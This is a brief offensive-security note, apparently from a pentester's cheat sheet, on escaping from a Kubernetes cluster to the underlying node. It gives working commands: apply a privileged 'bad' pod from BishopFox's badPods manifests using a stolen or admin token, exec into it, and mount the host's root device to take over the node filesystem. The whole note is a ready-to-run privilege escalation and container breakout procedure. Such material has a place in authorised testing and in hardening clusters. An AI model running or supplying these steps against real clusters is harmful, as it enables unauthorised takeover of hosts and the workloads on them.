# Escape to the node

### Example:

#### If we have admin access to the cluster, we can create any resources we want.

#### We can create a "bad" pod that mounts the node's file system.

### EVERYTHING-ALLOWED-EXEC-POD: <https://github.com/BishopFox/badPods/blob/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml>

### STEPS:

**1) Pull a container image (minikube's local docker registry)**

**2)**

```
kubectl apply -f BAD_POD.yml --token={TOKEN} (Create the "bad" pod for privesc)
```

**3)**

```
kubectl get pods --token={TOKEN}
```

**4)**

```
kubectl exec -it BAD_POD --token={TOKEN} -- /bin/bash
```

### Breakout of the Kubernetes environment

#### After we created an ran our malicious pod, we can escape the Kubernetes environment by mounting the file system to the /tmp directory (example)

**1)**

```
mount /dev/root /tmp
```

**2)**

```
cd /tmp
```

**3) GGWP!**
